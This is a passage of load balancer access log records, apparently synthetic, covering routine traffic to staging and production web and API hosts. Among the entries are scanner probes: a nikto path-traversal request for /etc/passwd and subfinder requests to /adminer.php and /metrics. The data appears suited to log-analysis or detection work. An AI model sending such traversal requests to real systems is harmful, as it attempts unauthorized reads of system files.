"Root=1-6723b835-77d0bfdf0abb4edd8a6b238e" "staging-alb.example.com" "-" 2 2024-11-01T00:02:45.549847Z "forward" "-" "-" "102.118.131.200:80" "302" "-" "-" -http 2024-11-01T00:02:45.677829Z staging-alb 188.53.66.82:30078 212.16.135.234:8080 0.101852 0.608168 0.040302 302 302 630 4180 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b835-554e0ee6130444bbb0ae1ca1" "staging-alb.example.com" "-" 5 2024-11-01T00:02:45.677829Z "forward" "-" "-" "212.16.135.234:8080" "302" "-" "-" -https 2024-11-01T00:02:46.336451Z prod-api-alb 201.83.165.102:10953 10.0.243.114:443 0.058064 0.416154 0.098956 302 302 984 4499 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b836-33ca076fe5754fe7b5c85f40" "prod-api-alb.example.com" "-" 7 2024-11-01T00:02:46.336451Z "forward" "-" "-" "10.0.243.114:443" "302" "-" "-" -https 2024-11-01T00:02:47.912737Z prod-web-alb 152.82.254.127:31770 10.0.93.205:443 0.097428 0.094777 0.035560 200 200 730 6093 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b837-d15a65c59271458ab00225f6" "prod-web-alb.example.com" "-" 3 2024-11-01T00:02:47.912737Z "forward" "-" "-" "10.0.93.205:443" "200" "-" "-" -https 2024-11-01T00:02:48.523708Z prod-web-alb 176.177.131.199:10961 10.0.15.70:443 0.094980 0.228144 0.055387 200 200 961 7483 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b838-69d518871338438983184b8a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:02:48.523708Z "forward" "-" "-" "10.0.15.70:443" "200" "-" "-" -https 2024-11-01T00:02:48.640978Z prod-api-alb 187.206.37.4:38306 10.0.191.153:443 0.024147 0.218421 0.055890 200 200 154 6235 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b838-56f74960c5014f329ac07055" "prod-api-alb.example.com" "-" 1 2024-11-01T00:02:48.640978Z "forward" "-" "-" "10.0.191.153:443" "200" "-" "-" -http 2024-11-01T00:02:49.106851Z staging-alb 174.141.61.15:64444 205.77.36.80:8080 0.043941 0.346419 0.022127 200 200 664 1691 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b839-481c4100ab414dceb746f93c" "staging-alb.example.com" "-" 0 2024-11-01T00:02:49.106851Z "forward" "-" "-" "205.77.36.80:8080" "200" "-" "-" -https 2024-11-01T00:02:49.495138Z staging-alb 186.81.164.229:33009 166.222.159.246:8080 0.124967 0.698639 0.007184 302 302 845 4345 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b839-da04719e93e9416ba6287960" "staging-alb.example.com" "-" 9 2024-11-01T00:02:49.495138Z "forward" "-" "-" "166.222.159.246:8080" "302" "-" "-" -https 2024-11-01T00:02:50.006559Z staging-alb 83.79.80.21:55265 247.195.179.104:443 0.091244 0.695797 0.075662 200 200 137 4451 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b83a-4ed33bff770848dfa78be78d" "staging-alb.example.com" "-" 9 2024-11-01T00:02:50.006559Z "forward" "-" "-" "247.195.179.104:443" "200" "-" "-" -https 2024-11-01T00:02:51.646131Z prod-api-alb 64.28.94.4:43403 10.0.41.78:443 0.086437 0.284979 0.080177 301 301 283 3810 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b83b-cc70e1b226d14dd88d6e9f7e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:02:51.646131Z "forward" "-" "-" "10.0.41.78:443" "301" "-" "-" -https 2024-11-01T00:02:52.642199Z staging-alb 205.17.63.86:23024 230.84.48.216:443 0.116399 0.312064 0.104456 302 302 720 11560 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b83c-f081d3bc70fc41ee8c604d23" "staging-alb.example.com" "-" 8 2024-11-01T00:02:52.642199Z "forward" "-" "-" "230.84.48.216:443" "302" "-" "-" -http 2024-11-01T00:02:54.375259Z staging-alb 206.92.184.146:49735 242.83.152.36:8080 0.116865 0.184743 0.033996 200 200 280 9680 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b83e-23846273530447e99d6c45a9" "staging-alb.example.com" "-" 2 2024-11-01T00:02:54.375259Z "forward" "-" "-" "242.83.152.36:8080" "200" "-" "-" -https 2024-11-01T00:02:56.326032Z prod-web-alb 111.31.173.135:45450 10.0.192.114:443 0.080007 0.117167 0.042722 200 200 667 10276 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b840-028269f5936049cfba09e83b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:02:56.326032Z "forward" "-" "-" "10.0.192.114:443" "200" "-" "-" -https 2024-11-01T00:02:57.867375Z prod-web-alb 185.181.2.252:28096 10.0.144.98:443 0.026256 0.228759 0.039096 301 301 784 3550 "POST /adminer.php HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b841-0faf1ff95fd4413189634f1f" "-" "-" 9 2024-11-01T00:02:57.867375Z "forward" "-" "-" "10.0.144.98:443" "301" "-" "-" -http 2024-11-01T00:02:58.917238Z staging-alb 51.142.29.158:32126 209.119.170.196:80 0.041299 0.190970 0.104926 302 302 318 9048 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b842-dd2ee8b88b3a4c4a9183a791" "staging-alb.example.com" "-" 8 2024-11-01T00:02:58.917238Z "forward" "-" "-" "209.119.170.196:80" "302" "-" "-" -https 2024-11-01T00:03:00.182885Z prod-api-alb 141.21.137.209:32904 10.0.140.154:443 0.070262 0.095465 0.069487 404 404 911 5132 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b844-a839f09c595e4d6ca7f5fda4" "-" "-" 7 2024-11-01T00:03:00.182885Z "forward" "-" "-" "10.0.140.154:443" "404" "-" "-" -https 2024-11-01T00:03:01.214968Z prod-api-alb 0.247.70.153:55676 10.0.248.228:443 0.001418 0.415671 0.016362 301 301 357 6561 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b845-b840a11606db40ab8277eb92" "prod-api-alb.example.com" "-" 4 2024-11-01T00:03:01.214968Z "forward" "-" "-" "10.0.248.228:443" "301" "-" "-" -https 2024-11-01T00:03:01.958069Z prod-web-alb 82.236.170.170:49391 10.0.100.1:443 0.038155 0.315961 0.081318 200 200 120 4911 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b845-25f86499cdeb4d87a166139d" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:01.958069Z "forward" "-" "-" "10.0.100.1:443" "200" "-" "-" -http 2024-11-01T00:03:02.927620Z staging-alb 131.111.203.2:48738 66.107.72.137:8080 0.022027 0.352603 0.001409 200 200 139 2278 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b846-5424649d4ee94b7aa61b8da6" "staging-alb.example.com" "-" 2 2024-11-01T00:03:02.927620Z "forward" "-" "-" "66.107.72.137:8080" "200" "-" "-" -https 2024-11-01T00:03:03.087443Z staging-alb 49.110.191.54:42634 149.52.68.55:8080 0.046715 0.309058 0.064067 200 200 541 11140 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b847-94fda27bbc6d42408ed350af" "staging-alb.example.com" "-" 4 2024-11-01T00:03:03.087443Z "forward" "-" "-" "149.52.68.55:8080" "200" "-" "-" -https 2024-11-01T00:03:03.731879Z prod-api-alb 29.41.152.98:28861 10.0.65.255:443 0.063638 0.084856 0.092591 301 301 915 4271 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b847-924f71a8b74e4bddbd0468e8" "prod-api-alb.example.com" "-" 3 2024-11-01T00:03:03.731879Z "forward" "-" "-" "10.0.65.255:443" "301" "-" "-" -https 2024-11-01T00:03:05.124103Z staging-alb 73.169.168.13:14173 128.18.94.119:443 0.054246 0.209843 0.138444 200 200 136 10802 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b849-c1b3b338282549d7bd82a8ba" "staging-alb.example.com" "-" 5 2024-11-01T00:03:05.124103Z "forward" "-" "-" "128.18.94.119:443" "200" "-" "-" -http 2024-11-01T00:03:06.618180Z staging-alb 45.155.205.142:43212 127.226.253.93:8080 0.068185 0.318352 0.098645 404 404 219 14698 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b84a-04b52c84f1e044b8bbd77e35" "-" "-" 5 2024-11-01T00:03:06.618180Z "forward" "-" "-" "127.226.253.93:8080" "404" "-" "-" -https 2024-11-01T00:03:08.545460Z prod-web-alb 31.173.146.130:12796 10.0.245.25:443 0.090849 0.348418 0.063861 200 200 497 4584 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b84c-0bcf6ad6f01b43bbb4c17db1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:03:08.545460Z "forward" "-" "-" "10.0.245.25:443" "200" "-" "-" -https 2024-11-01T00:03:08.741497Z prod-web-alb 13.36.13.71:11455 10.0.9.59:443 0.033238 0.143278 0.056935 302 302 338 551 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b84c-d52fb6babb044e6181095d2b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:03:08.741497Z "forward" "-" "-" "10.0.9.59:443" "302" "-" "-" -http 2024-11-01T00:03:09.525902Z staging-alb 153.180.47.127:63158 35.112.110.103:443 0.055157 0.470335 0.012526 200 200 442 2423 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b84d-018d6bf20d84443bac47cb7f" "staging-alb.example.com" "-" 0 2024-11-01T00:03:09.525902Z "forward" "-" "-" "35.112.110.103:443" "200" "-" "-" -https 2024-11-01T00:03:11.193523Z staging-alb 86.252.168.3:12615 30.69.3.193:8080 0.061997 0.647494 0.056980 200 200 566 4209 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b84f-2dd0eb9c61c04cdba05fbebe" "staging-alb.example.com" "-" 10 2024-11-01T00:03:11.193523Z "forward" "-" "-" "30.69.3.193:8080" "200" "-" "-" -https 2024-11-01T00:03:13.146235Z staging-alb 1.129.131.14:52357 84.2.45.203:8080 0.007566 0.563302 0.052603 302 302 890 8092 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b851-0e13b50782fe4c0790ecba9f" "staging-alb.example.com" "-" 7 2024-11-01T00:03:13.146235Z "forward" "-" "-" "84.2.45.203:8080" "302" "-" "-" -https 2024-11-01T00:03:14.056740Z prod-api-alb 39.91.185.92:47775 10.0.7.14:443 0.018392 0.241490 0.042639 302 302 58 14533 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b852-6930e45c63b74190a427a202" "prod-api-alb.example.com" "-" 10 2024-11-01T00:03:14.056740Z "forward" "-" "-" "10.0.7.14:443" "302" "-" "-" -https 2024-11-01T00:03:14.857555Z prod-api-alb 224.213.219.96:34888 10.0.213.71:443 0.018137 0.004886 0.078614 200 200 251 11486 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b852-0ced56ca758d4822b054ff63" "prod-api-alb.example.com" "-" 10 2024-11-01T00:03:14.857555Z "forward" "-" "-" "10.0.213.71:443" "200" "-" "-" -https 2024-11-01T00:03:16.276048Z prod-web-alb 172.229.215.78:47357 10.0.243.175:443 0.060213 0.283832 0.044837 200 200 63 5442 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b854-d3159db1969546f0a22a4cd1" "prod-web-alb.example.com" "-" 2 2024-11-01T00:03:16.276048Z "forward" "-" "-" "10.0.243.175:443" "200" "-" "-" -https 2024-11-01T00:03:16.577119Z staging-alb 108.207.147.76:62338 92.143.48.90:443 0.029152 0.066410 0.039731 200 200 980 4145 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b854-2f422dc42f1b48739846ba13" "staging-alb.example.com" "-" 5 2024-11-01T00:03:16.577119Z "forward" "-" "-" "92.143.48.90:443" "200" "-" "-" -https 2024-11-01T00:03:18.201575Z prod-api-alb 230.206.33.26:41531 10.0.199.111:443 0.046611 0.131994 0.013037 200 200 417 3441 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b856-30d1194cad8d437584e979f4" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:18.201575Z "forward" "-" "-" "10.0.199.111:443" "200" "-" "-" -https 2024-11-01T00:03:18.405451Z prod-web-alb 162.63.105.173:17170 10.0.164.180:443 0.074280 0.420562 0.006215 200 200 611 2581 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b856-6cafec32bc73410ebce16a51" "prod-web-alb.example.com" "-" 6 2024-11-01T00:03:18.405451Z "forward" "-" "-" "10.0.164.180:443" "200" "-" "-" -https 2024-11-01T00:03:19.289836Z prod-api-alb 54.93.129.52:45997 10.0.121.246:443 0.034340 0.140351 0.030367 302 302 489 10999 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b857-9e77e92be08e46c5be357e72" "prod-api-alb.example.com" "-" 10 2024-11-01T00:03:19.289836Z "forward" "-" "-" "10.0.121.246:443" "302" "-" "-" -https 2024-11-01T00:03:19.870779Z prod-api-alb 234.159.191.22:14908 10.0.187.237:443 0.073865 0.348715 0.003851 200 200 502 10185 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b857-fb5e37f395be42cbb43abf8b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:03:19.870779Z "forward" "-" "-" "10.0.187.237:443" "200" "-" "-" -https 2024-11-01T00:03:20.820656Z prod-web-alb 133.87.133.3:59168 10.0.47.127:443 0.005148 0.014960 0.098787 302 302 427 8484 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b858-b141487b01f6419599c93a3a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:03:20.820656Z "forward" "-" "-" "10.0.47.127:443" "302" "-" "-" -https 2024-11-01T00:03:21.436134Z prod-api-alb 149.235.121.52:40375 10.0.54.218:443 0.024510 0.361031 0.067370 200 200 70 11993 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b859-7d74c61bf9824a55b57cd7d0" "prod-api-alb.example.com" "-" 4 2024-11-01T00:03:21.436134Z "forward" "-" "-" "10.0.54.218:443" "200" "-" "-" -https 2024-11-01T00:03:22.091136Z prod-web-alb 22.227.26.237:32381 10.0.45.179:443 0.043184 0.206489 0.093133 200 200 502 3259 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85a-d8141b5c9fdf46959e001a20" "prod-web-alb.example.com" "-" 10 2024-11-01T00:03:22.091136Z "forward" "-" "-" "10.0.45.179:443" "200" "-" "-" -http 2024-11-01T00:03:23.020249Z staging-alb 70.203.155.68:21678 122.242.168.111:443 0.005399 0.098710 0.046814 200 200 957 13628 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b85b-4cf345312a624ccdbd67a29f" "staging-alb.example.com" "-" 9 2024-11-01T00:03:23.020249Z "forward" "-" "-" "122.242.168.111:443" "200" "-" "-" -https 2024-11-01T00:03:24.501670Z prod-api-alb 146.242.212.75:29037 10.0.196.2:443 0.050569 0.218797 0.099841 200 200 943 9849 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b85c-0aa34795ac674575bf87bf5f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:03:24.501670Z "forward" "-" "-" "10.0.196.2:443" "200" "-" "-" -https 2024-11-01T00:03:25.069468Z prod-web-alb 215.37.221.59:43497 10.0.131.77:443 0.059232 0.135603 0.051350 404 404 440 13359 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85d-1cc62fed43874b61bcc61e2d" "prod-web-alb.example.com" "-" 5 2024-11-01T00:03:25.069468Z "forward" "-" "-" "10.0.131.77:443" "404" "-" "-" -https 2024-11-01T00:03:25.300019Z prod-web-alb 45.20.65.175:13382 10.0.22.43:443 0.020790 0.000454 0.099363 302 302 769 6902 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85d-5446b93f57364666b361b41a" "prod-web-alb.example.com" "-" 6 2024-11-01T00:03:25.300019Z "forward" "-" "-" "10.0.22.43:443" "302" "-" "-" -https 2024-11-01T00:03:26.176268Z prod-api-alb 45.155.205.66:39620 10.0.86.113:443 0.011166 0.058446 0.093941 404 404 757 273 "PUT /metrics HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b85e-4354a7fbf8294496938e06d5" "-" "-" 6 2024-11-01T00:03:26.176268Z "forward" "-" "-" "10.0.86.113:443" "404" "-" "-" -https 2024-11-01T00:03:26.801583Z prod-web-alb 104.63.29.3:14984 10.0.21.41:443 0.079384 0.351461 0.075777 200 200 939 6394 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85e-938856b9f82644ce8fcf52a2" "prod-web-alb.example.com" "-" 5 2024-11-01T00:03:26.801583Z "forward" "-" "-" "10.0.21.41:443" "200" "-" "-" -https 2024-11-01T00:03:27.655734Z prod-web-alb 44.70.55.80:13716 10.0.133.143:443 0.015841 0.028099 0.063152 200 200 881 14938 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b85f-3d2fafae43a341799c73521c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:03:27.655734Z "forward" "-" "-" "10.0.133.143:443" "200" "-" "-" -https 2024-11-01T00:03:28.510396Z staging-alb 167.173.188.98:19904 27.231.218.1:8080 0.098412 0.300423 0.145661 301 301 284 10902 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b860-6e8e44571c4d47aaad586682" "staging-alb.example.com" "-" 5 2024-11-01T00:03:28.510396Z "forward" "-" "-" "27.231.218.1:8080" "301" "-" "-" -https 2024-11-01T00:03:30.350737Z prod-web-alb 58.167.251.214:42371 10.0.116.4:443 0.056957 0.066280 0.016709 200 200 456 2491 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b862-9e080e51498b499b8b436f40" "prod-web-alb.example.com" "-" 1 2024-11-01T00:03:30.350737Z "forward" "-" "-" "10.0.116.4:443" "200" "-" "-" -https 2024-11-01T00:03:31.204253Z staging-alb 175.70.97.53:46286 101.98.66.75:443 0.042824 0.269932 0.121825 301 301 956 14226 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b863-abac19e3e18b4814a5028b70" "staging-alb.example.com" "-" 10 2024-11-01T00:03:31.204253Z "forward" "-" "-" "101.98.66.75:443" "301" "-" "-" -https 2024-11-01T00:03:31.752713Z prod-api-alb 148.210.43.124:42477 10.0.136.48:443 0.075437 0.426403 0.052488 302 302 960 8642 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" 